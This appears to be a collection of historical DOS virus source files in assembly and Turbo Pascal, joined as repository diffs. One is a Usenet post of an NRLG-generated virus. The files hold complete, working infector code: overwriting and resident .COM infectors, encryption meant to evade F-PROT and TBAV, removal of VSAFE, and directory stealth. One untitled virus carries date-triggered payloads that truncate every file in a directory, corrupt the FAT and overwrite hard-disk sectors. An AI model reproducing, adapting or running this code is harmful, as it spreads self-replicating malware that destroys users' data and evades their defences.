jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start

View File

@ -0,0 +1,317 @@
;hmm.,.,.,.,without a name.,.,.,.,
;this file is much like the 606, only it
;is much more harmful...it has a special suprise
;for three diffrent dates....hehehehe.,.,,..,.,
;i had planned to have it in with the other TR-
;series, but this was much to large to add in with.,.,
;enjoy!....
; nUcLeii
; [*v i a*]===[98]
.model tiny
.code
seg_a segment byte public
ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A
filename equ 30 ;find file name
fileattr equ 21 ;find file attributes
filedate equ 24 ;find file date
filetime equ 22 ;fine file time
org 100h
main proc
start:
call dirloc
infect:
mov dx, 100h
mov bx, handle
mov cx, 1203
mov ah, 40h
int 21h
ret
dirloc:
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
newdir:
mov ah,19h ;get drive code
int 21h
mov dl, al ;save drive code
inc dl ;add one to dl (functions differ)
mov ah, 47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h
mov dx, offset daroot ;move dx to change to root
mov ah, 3bh ;change directory to root
int 21h
find:
mov cx, 13h ;include hidden/ro dir.
mov dx, offset wild ;look for '*'
mov ah, 4eh ;find file
int 21h
cmp ax, 12h ;no file?
jne findmore ;no dir? screw it then.
wank1:
jmp rollout
findmore:
mov ah, 4fh ;find next target
int 21h
cmp ax, 12h
je wank ;no more? crew it then.
keepgoin:
mov dx, offset dirdat+filename ;point dx to fcb-filename
mov ah, 3bh ;change directory
int 21h
mov ah, 2fh ;get current dta address
int 21h
mov [diskdat], es ;save old segment
mov [diskdatofs], bx ;save old offset
mov dx, offset filedat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
checkit:
mov cx, 07h ;find any attribute
mov dx, offset filetype ;point dx to exe files
mov ah, 4eh ;find first file function
int 21h
cmp ax, 12h ;was it found?
jne change
nextfile:
mov ah, 4fh ;find next file
int 21h
cmp ax,12h ;none found
jne change ;see what we can do...
mov dx, offset daroot ;dx to change to root directory
mov ah, 3bh
int 21h
mov ah, 1ah ;set dta address
mov ds, [diskdat] ;restore old segment
mov dx, [diskdatofs] ;restore old offset
int 21h
jmp findmore
wank:
jmp rollout
change:
mov ah, 2fh ;temp. store dta
int 21h
mov [tempseg], es ;save old segment
mov [tempofs], bx ;save old offset
mov dx, offset filedat+filename
mov bx, offset filedat ;save file...
mov ax, [bx]+filedate ;tha date
mov orig_date, ax
mov ax, [bx]+filetime ;tha time
mov orig_time, ax
mov ax, [bx]+fileattr ;tha attributes
mov ax, 4300h
int 21h
mov orig_attr, cx
mov ax, 4301h ;change attributes
xor cx, cx ;clear attributes
int 21h
mov ax, 3d00h ;open file and read
int 21h
jc fixup ;error?..go get another!
mov handle, ax ;save handle
mov ah, 3fh ;read from file
mov bx, handle ;move handle to bx
mov cx, 02h ;read 2 bytes
mov dx, offset idbuffer ;save to buffer
int 21h
mov ah, 3eh ;close it for now
mov bx, handle ;load bx with handle
int 21h
mov bx, idbuffer ;give bx the id string
cmp bx, 02ebh ;are we infected?
jne doit ;hmm...go get another.
fixup:
mov ah, 1ah ;set dta address
mov ds, [tempseg] ;restore old segment
mov dx, [tempofs] ;restore old offset
int 21h
jmp nextfile
doit:
mov dx, offset filedat+filename
mov ax, 3d02h ;open victim read/write access
int 21h
mov handle, ax ;save handle
call infect ;do your job...
;mov ax, 3eh
;int 21h
rollout:
mov ax, 5701h ;restore original...
mov bx, handle ;handle
mov cx, orig_time ;time
mov dx, orig_date ;date
int 21h
mov ax, 4301h ;and attributes
mov cx, orig_attr
mov dx, offset filedat+filename
int 21h
;mov bx, handle
;mov ax, 3eh ;close em"
;int 21h
mov ah, 3bh ;try this for speed...
mov dx, offset daroot
int 21h
mov ah, 3bh ;change directory
mov dx, offset currentdir ;back to the original
int 21h
mov ah, 2ah ;check system date
int 21h
cmp cx, 1998 ;hehe..if not then your already
jb getout ;screwed an ill leave ya alone.
cmp dl, 15 ;is it the 15th?...muhahaha
jne goaway ;not?...lucky you.
cmp dl, 19 ;is it the 19th?...muhahaha
je alter_fat ;your gonna have a few crosslinks...
cmp dl, 29 ;is it the 29th?...muhahaha
je ouch ;your screwed,..,.,.,.,
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
mov ah, 4eh ;find first file
mov cx, 7h
mov dx, offset allfiles ;offset *.* ...hehehe...
jmp rockem
getout:
call outta
goaway:
call outta
rockem:
int 21h
jc goaway ;error? screw it then...
mov ax, 4301h ;find all "normal" files
xor cx, cx
int 21h
mov dx, offset dirdat+filename
mov ah, 3ch ;write to all files in current dir.
int 21h
jc outta ;error? screw it then...
mov ah, 4fh ;find next file
jmp rockem
ouch:
xor dx, dx ;clear dx
rip_hd1:
mov cx, 1 ;track 0, sector 1
mov ax, 311h ;17 secs per track (hopefully!)
mov dl, 80h
mov bx, 5000h
mov es, bx
int 13h ;kill 17 sectors
jae rip_hd2
xor ah, ah
int 13h ;reset disks if needed
rip_hd2:
inc dh ;increment head number
cmp dh, 4 ;if head number is below 4 then
jb rip_hd1 ;go kill another 17 sectors
inc ch ;increase track number and
jmp ouch ;do it again
alter_fat:
push dx
push bx
push cx
push ax
push bp ;save regs that will be changed
mov ax, 0dh
int 21h ;reset disk
mov ah, 19h
int 21h ;get default disk
xor dx, dx
call load_sec ;read in the boot record
mov bp, bx
mov bx, word ptr es:[bp+16h] ;find sectors per fat
push ax ;save drive number
call rnd_num ;get random number
cmp bx, ax ;if random number is lower than
jbe alter_fat1 ;secs per fat then jump and kill 'em
mov ax, bx ;else pick final sector of fat
alter_fat1:
int 26h ;write same data in that fat
pop bp
pop ax
pop cx
pop bx
pop dx
jmp outta
rnd_num:
push cx
push dx ;save regs that will be changed
xor ax, ax
int 1ah ;get system time
xchg dx, ax ;put lower word into ax
pop dx
pop cx
ret ;restore values and return
load_sec:
push cx
push ds ;save regs that will be changed
push ax ;save drive number
push cs
pop ds
push cs
pop es ;make es and ds the same as cs
mov ax, 0dh
int 21h ;reset disk
pop ax ;restore drive number
mov cx, 1
mov bx, offset sec_buf
int 25h ;read sector into buffer
pop ds
pop cx
ret ;restore regs and return
outta:
mov ax, 4c00h ;end program
int 21h
words_ db "nUcLeii~ *v. i. a*",0
words2 db "1200..n0name",0
allfiles db "*.*",0
currentdir db 64 dup (?)
daroot db "\",0
dirdat db 43 dup (?)
diskdat dw ?
diskdatofs dw ?
filedat db 43 dup (?)
filetype db "*.com",0
handle dw ?
idbuffer dw ?
orig_attr dw ?
orig_date dw ?
orig_time dw ?
sec_buf dw 100h dup(?)
tempofs dw ?
tempseg dw ?
wild db "*",0
main endp
seg_a ends
end start

View File

@ -0,0 +1,483 @@
From smtp Thu Feb 9 11:43 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu, 9 Feb 95 11:43 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500
Date: Thu, 9 Feb 1995 11:34:53 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 23204
Content-Type: binary
Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Re: Not-So-Destructive Virii...<post please>
Newsgroups: alt.comp.virus
Status: RO
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: Re: Not-So-Destructive Virii...<post please>
Date: 6 Feb 1995 21:44:13 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 450
Message-ID: <3h71bd$js1@crl.crl.com>
References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
NNTP-Posting-Host: crl.com
X-Newsreader: TIN [version 1.2 PL2]
; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic
; Life Generator). All it does is display a message on June 6th ( I believe).
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc byte ptr [di]
sub word ptr [di],0381h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿadd word ptr [di],0381h
dec byte ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------
ÿ
PAO:
DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$'
;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 06H ;day for the action
action_mes Db 06H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"

View File

@ -0,0 +1,325 @@
;*****************************************************************************
; #6 Virus *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands *
; *
; The author(s) take(s) no responsibility for any damaged caused by *
; this virus. *
;*****************************************************************************
.RADIX 16
virus SEGMENT
MODEL SMALL
ASSUME cs:virus, ds:virus, es:virus
ORG 100h
len EQU OFFSET last - begin
dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of
; viruscode.
begin: CALL start ; make a call to
; push the IP on the
; stack.
start: POP bp ; get the IP of the
; stack.
SUB bp,108h ; adjust BP (=IP)
; for offset of DATA.
restore: MOV di,0100h ; copy the original
LEA si,ds:[carrier_begin+bp] ; host begin code back.
MOV cx,05h
REP MOVSB
check: MOV ah,0a0h ; check if virus
INT 21h ; allready resident.
CMP ax,8654h
JE end_virus
memory: MOV ax,cs ; DS = Memory Control
DEC ax ; Blok (MCB).
MOV ds,ax
CMP BYTE PTR ds:[0000],5ah ; check first byte if
JNE abort ; last MCB.
MOV ax,ds:[0003] ; decrease memory size.
SUB ax,40
MOV ds:[0003],AX
PUSH cs ; restore ds.
POP ds
install: MOV bx,ax ; ES point where
MOV ax,es ; to copy virus in
ADD ax,bx ; memory.
MOV es,ax
MOV cx,len ; copy virus to
LEA si,ds:[begin+bp] ; memory.
LEA di,es:0105 ; offset = 105
REP MOVSB
MOV [virus_segment+bp],es ; store virus_segment
PUSH cs ; restore es
POP es
hook_vectors: CLI
MOV ax,3521h ; hook int 21h
INT 21h
MOV ds,[virus_segment+bp]
MOV old_21h,bx
MOV old_21h+2,es
MOV dx,offset main_virus
MOV ax,2521h
INT 21h
MOV ax,3512h ; hook int 12h
INT 21h
MOV old_12h,bx
MOV old_12h+2,es
MOV dx,offset new_12h
MOV ax,2512h
INT 21h
STI
abort: MOV ax,cs ; restore ds,es
MOV ds,ax
MOV es,ax
end_virus: MOV bx,0100h ; jump to begin host
PUSH bx
XOR bx,bx
XOR bp,bp
XOR ax,ax
XOR cx,cx
RET
;*****************************************************************************
; *
; This part will intercept the interuptvectors and copy itself to *
; other host programs *
; *
;*****************************************************************************
main_virus: PUSHF
CMP ah,0a0h ; check if virus calls
JNE new_21h ; and return id.
MOV ax,8654h
POPF
IRET
new_21h: PUSH ds ; new interupt 21
PUSH es ; routine
PUSH di
PUSH si
PUSH ax
PUSH bx
PUSH cx
PUSH dx
PUSH sp
PUSH bp
check_open: CMP ah,3dh ; check if a file is
JNE check_exec ; being opened
JMP chk_com
check_exec: CMP ax,04b00h ; check if a file is
JNE continu ; executed
JMP chk_com
continu: POP bp
POP sp
POP dx ; continu with
POP cx ; interrupt
POP bx
POP ax
POP si
POP di
POP es
POP ds
POPF
JMP DWORD PTR cs:[old_21h]
chk_com: MOV cs:[name_seg],ds
MOV cs:[name_off],dx
CLD ; check if extension
MOV di,dx ; is COM file
PUSH ds
POP es
MOV al,'.'
REPNE SCASB
CMP WORD PTR es:[di],'OC'
JNE continu
CMP WORD PTR es:[di+2],'M'
JNE continu
CMP WORD PTR es:[di-7],'MO' ; Check for
JNE error ; COMMAND.COM
CMP WORD PTR es:[di-5],'AM'
JNE error
CMP WORD PTR es:[di-3],'DN'
JE continu
error: CALL int24h ; take care of error
; messages
CALL set_atribute ; set atribute for
; writing
open_file: MOV ds,cs:[name_seg] ; open file
MOV dx,cs:[name_off]
MOV ax,3d02h
CALL do_int21h
JC close_file
PUSH cs
POP ds
MOV [handle],ax
MOV bx,ax
CALL get_date
check_infect: PUSH CS ; check if file
POP DS ; already infect
MOV BX,[handle]
MOV ah,3fh
MOV cx,05h
LEA dx,[carrier_begin]
CALL do_int21h
MOV al, BYTE PTR [carrier_begin]+3 ; look for
MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's
CMP ax,[initials]
JE save_date
get_lenght: MOV ax,4200h
CALL move_pointer
MOV ax,4202h
CALL move_pointer
SUB AX,03h
MOV [lenght_file],ax
CALL write_jmp ; write jump
; instruction.
CALL write_virus ; write virus
; body.
save_date: PUSH CS
POP DS
MOV bx,[handle]
MOV dx,[date]
MOV cx,[time]
MOV ax,5701h
CALL do_int21h
close_file: MOV bx,[handle] ; close file
MOV ah,3eh
CALL do_int21h
restore_int24h: MOV dx,cs:[old_24h] ; restore int24
MOV ds,cs:[old_24h+2] ; for critical
MOV ax,2524h ; error handling
CALL do_int21h
JMP continu
new_24h: MOV al,3
IRET
new_12h: JMP DWORD PTR cs:[old_12h]
SUB ax,50
IRET
;*****************************************************************************
move_pointer: PUSH cs
POP ds
MOV bx,[handle]
XOR cx,cx
XOR dx,dx
CALL do_int21h
RET
do_int21h: PUSHF
CALL DWORD PTR cs:[old_21h]
RET
write_jmp: PUSH CS
POP DS
MOV ax,4200h ; write jump
CALL move_pointer ; instruction
MOV ah,40h
MOV cx,01h
LEA dx,[jump]
CALL do_int21h
MOV ah,40h ; write offset of
MOV cx,02h ; jump
LEA dx,[lenght_file]
CALL do_int21h
MOV ah,40h ; write mark for
MOV cx,02h ; infection
LEA dx,[initials]
CALL do_int21h
RET
write_virus: PUSH CS
POP DS
MOV ax,4202h ; write main
CALL move_pointer ; virus body
MOV ah,40 ; at end of
MOV cx,len ; program
MOV dx,105h
CALL do_int21h
RET
get_date: MOV ax,5700h
CALL do_int21h
PUSH cs
POP ds
MOV [date],dx
MOV [time],cx
RET
int24h: MOV ax,3524h
CALL do_int21h
MOV cs:[old_24h],bx
MOV cs:[old_24h+2],es
MOV dx,offset new_24h
PUSH CS
POP DS
MOV AX,2524h
CALL do_int21h
RET
set_atribute: MOV ax,4300h ; get atribute
MOV ds,cs:[name_seg]
MOV dx,cs:[name_off]
CALL do_int21h
AND cl,0feh ; set atribute
MOV ax,4301h
CALL do_int21h
RET
;*****************************************************************************
text db '#6 Virus, Trident/The Netherlands 1992'
old_12h dw 00h,00h
old_21h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h,0cdh,020h,086h,054h
jump db 0e9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
handle dw ?
lenght_file dw ?
date dw ?
time dw ?
initials dw 5486h
last db 090h
virus ends
end dummy

View File

@ -0,0 +1,109 @@
Number One
Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved.
The virus below was available through various bulletin boards for a while.
Although this is a primitive virus its effective.
In this virus only the .COM files are infected. Its about 12K and it will change the date entry.
{------------------------------------------------------------------}
{Number One}
{ Number One infects all .COM - file's name will be displayed }
{ That file has been overwritten with Number Ones's program code and }
{ is not reconstructible! If all files are infected or or no .COM }
{ files are found, Number one gives you a <smile. }
{ Files may be protected against infections of Number One by }
{ setting the Read ONLY attribute. }
{ Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) - edited by ??? }
{------------------------------------------------------}
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 12027; { Number One's code size }
Warning :String[42] { Warning message }
= 'This File Has Been Infected by Number One!';
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
{ -- Variables--------------------------------------------- }
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
{ -- Program code------------------------------------------ }
Begin
WriteLn(Warning); { Display warning message }
GetDir(0, UsePath); { get current directory }
if Pos('\', UsePath) < UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID < Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done }
WriteLn(UsePath + 'infected.');
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Write('<Smile'); {Give a smile }
End.

View File

@ -0,0 +1,120 @@
; ------------------------------------------------------------------------- ;
